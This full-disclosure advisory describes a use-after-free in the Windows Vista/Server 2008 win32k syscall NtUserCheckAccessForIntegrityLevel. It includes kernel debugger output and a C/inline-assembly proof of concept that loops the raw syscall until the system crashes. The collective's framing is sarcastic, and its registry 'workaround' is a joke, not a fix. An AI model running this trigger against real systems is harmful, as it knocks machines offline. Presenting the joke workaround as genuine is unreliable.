Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-
after-free Vulnerability

Intro:

Due to hostility toward security researchers, the most recent 
example being of Tavis Ormandy, a number of us from the industry 
(and some not from the industry) have come together to form MSRC: 
the Microsoft-Spurned Researcher Collective.  MSRC will fully 
disclose vulnerability information discovered in our free time, 
free from retaliation against us or any inferred employer.

Vulnerability report:

win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008 
calls LockProcessByClientId() on the specified ClientID. When this 
call fails, the refcount will be first decremented by 
nt!ObfDereferenceObject and then by 
win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a 
refcount leak.  The refcount leak can be abused to have an in-use 
process object deleted. (use-after-free)

Some debugging info:

kd> vertarget
Windows Server 2008 Kernel Version 6002 (SP2)
kd> LM m win32k
start    end        module name
8d460000 8d663000   win32k
kd> BA e 1 8d58d710 "dt nt!_OBJECT_HEADER @edx PointerCount; g"
kd> g
   +0x000 PointerCount : 145
   +0x000 PointerCount : 144
   +0x000 PointerCount : 143
...
   +0x000 PointerCount : 3
   +0x000 PointerCount : 2
   +0x000 PointerCount : 1
*** Fatal System Error: 0x00000018
kd> kc
nt!KeBugCheck2
nt!ObfDereferenceObject
win32k!NtUserCheckAccessForIntegrityLevel
nt!KiFastCallEntry

The vulnerability can be triggered in one line below, where 4 is 
just the PID of PsInitialSystemProcess.

while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL);

Since there's no exported stub for this system call, you'll have to 
craft the call manually. sysenter is your friend.

http://j00ru.vexillium.org/win32k_syscalls/

POC:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
    /* get us some win32k! */
    LoadLibrary("user32");
    while (1) {
        __asm {
           mov eax, LEAK_ME
           push 0
           push 0
           push 4
           lea edx, dword ptr [esp]
           int 0x2e
        }
     }
}

Workaround:

Microsoft can workaround these advisories by locating the following 
registry key: HKCU\Microsoft\Windows\CurrentVersion\Security and 
changing the "OurJob" boolean value to FALSE.

We at MSRC would like to help you, the users, work around this 
issue, but PatchGuard will not allow us ;-(

Current MSRC Members (alphabetical order!):
XX XXXXXX
XXXX XXXXXXXX
XXXXX XXX
XXXXXXX XXXXXXX
XXXXXX XXXXXXXXX
XXXXX XXXXXXXX

If you wish to responsibly disclose a vulnerability through full 
disclosure or want to join our team, fire off an email to: msrc-
disclosure@hushmail.com

We do have a vetting process by the way, for any Microsoft 
employees trying to join ;-)

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